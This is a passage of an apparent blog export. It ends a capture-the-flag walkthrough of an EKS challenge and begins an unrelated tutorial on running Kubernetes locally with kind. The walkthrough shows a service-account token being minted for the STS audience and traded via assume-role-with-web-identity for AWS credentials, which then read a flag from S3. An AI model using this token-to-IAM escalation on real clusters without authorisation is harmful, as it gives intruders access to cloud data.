style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"arn:aws:iam::688655246681:role/challengeEksS3Role\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"creationTimestamp\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-10-31T20:07:34Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"name\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"s3access-sa\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"namespace\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"challenge5\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"671916\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"uid\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"86e44c49-b05a-4ebe-800b-45183a6ebbda\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eI think we are going to need to use our AWS access to assume that role, I do not\nbelieve our kubernetes access is going to get us anywhere:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e assume-role\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --role-arn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --role-session-name\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e test\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eAn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e error\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e occurred\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (AccessDenied) when calling the AssumeRole operation: User: arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282 is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOk, so \u003cem\u003emaybe\u003c/em\u003e our kubernetes access is important since we cannot assume the role\ndirectly. Let us try to use that $TOKEN from \u003ccode\u003edebug-sa\u003c/code\u003e to assume the role:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e assume-role-with-web-identity\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --role-arn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --role-session-name\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e test\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --web-identity-token\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $TOKEN\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eAn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e error\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e occurred\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (InvalidIdentityToken) when calling the AssumeRoleWithWebIdentity operation: Incorrect token audience\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eGetting closer! The default audience for a token created with \u003ccode\u003ekubectl\u003c/code\u003e is\n\u003ccode\u003ehttps://kubernetes.default.svc\u003c/code\u003e which amazon does not seem to like. Let us try\ncreating it again with \u003ccode\u003ests.amazonaws.com\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e TOKEN=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e create\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e debug-sa\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --audience\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts.amazonaws.com\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e assume-role-with-web-identity\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --role-arn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --role-session-name\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e test\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --web-identity-token\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $TOKEN\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Credentials\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"AccessKeyId\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ASIA2AVYNEV\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"SecretAccessKey\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"VTZ4TuDrtHGca\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"SessionToken\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"IQoJb3JpZ2luX2VjEAQaCXVzLXd+7ONV2wIgESXuf\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Expiration\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-03T05:09:07+00:00\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"SubjectFromWebIdentityToken\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"system:serviceaccount:challenge5:debug-sa\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"AssumedRoleUser\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"AssumedRoleId\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"AROA2AVYNEVMZEZ2AFVYI:test\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Arn\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/test\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Provider\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Audience\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"sts.amazonaws.com\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSuccess! We have some new AWS credentials. Let us setup our new AWS Session:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AWS_ACCESS_KEY_ID=\"ASIA2AVYNEV\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AWS_SECRET_ACCESS_KEY=\"VTZ4TuDrtHGca\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AWS_SESSION_TOKEN=\"IQoJb3JpZ2luX2VjEAQaCXVzLXd+7ONV2wIgESXuf\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get-caller-identity\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"UserId\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"AROA2AVYNEVMZEZ2AFVYI:test\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Account\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"688655246681\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Arn\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/test\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe are now the new role! We hopefully have access to S3 now. At the start\nof the challenge it provided us a clue to what bucket we want to view by\nproviding us the IAM policy:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"json\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"json\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Policy\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Statement\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Action\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"s3:GetObject\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"s3:ListBucket\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Effect\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"Allow\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Resource\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"arn:aws:s3:::challenge-flag-bucket-3ff1ae2\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Version\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"2012-10-17\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo we want to fetch \u003ccode\u003earn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e s3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cp\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e s3://challenge-flag-bucket-3ff1ae2/flag\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e .\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edownload:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e s3://challenge-flag-bucket-3ff1ae2/flag\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e to\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ./flag\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e flag\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ewiz_eks_challenge\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e{w0w_y0u_really_are_4n_eks_and_aws\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e\u0026#x3C;*REDACTED*\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eand that is the final flag! In my next post I will discuss the remediation steps\nto prevent these configuration mistakes on your cluster!\u003c/p\u003e","category":"Kubernetes","date":"2023-11-02T00:00:00Z","tags":["Kubernetes","SRE","Security"],"title":"eksclustergames.com walk through!"},{"id":["2023","local_k8s_with_kind"],"path":"2023/local_k8s_with_kind","contentHtml":"\u003cp\u003ePreviously I \u003ca href=\"/blog/2022/local_kubeadm_cluster\"\u003eshowed\u003c/a\u003e how to run kubernetes\nlocally with \u003ccode\u003ekubeadm\u003c/code\u003e and VMs but sometimes that is overkill so I wanted to\nshow how to run \u003ca href=\"https://kind.sigs.k8s.io/\"\u003ekind\u003c/a\u003e which is \"kubernetes in\ndocker\".\u003c/p\u003e\n\u003ch1\u003eCreating your first cluster\u003c/h1\u003e\n\u003cp\u003ekind is a very flexible way to run kubernetes locally and allows you to run\nsingle node or multinode clusters with access to all the features of\nkubernetes, such as ingress.\u003c/p\u003e\n\u003cp\u003eTo create your first cluster it is as simple as running:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e create\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cluster\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eCreating\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cluster\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"kind\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ...\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ensuring\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e image\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (kindest/node:v1.27.3) 🖼 \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Preparing\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nodes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 📦\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Writing\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e configuration\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 📜\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Starting\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 🕹️\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Installing\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e CNI\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 🔌\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Installing\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e StorageClass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 💾\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eSet\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e context\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e to\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"kind-kind\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eYou\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e can\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e now\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e use\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e your\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cluster\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e with:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cluster-info\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --context\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind-kind\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eHave\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e a\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e question,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e bug,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e or\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e feature\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e request?\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Let\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e us\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e know!\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://kind.sigs.k8s.io/#community\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 🙂\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou now have a functioning kubernetes cluster and you\ncan view what it created:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan 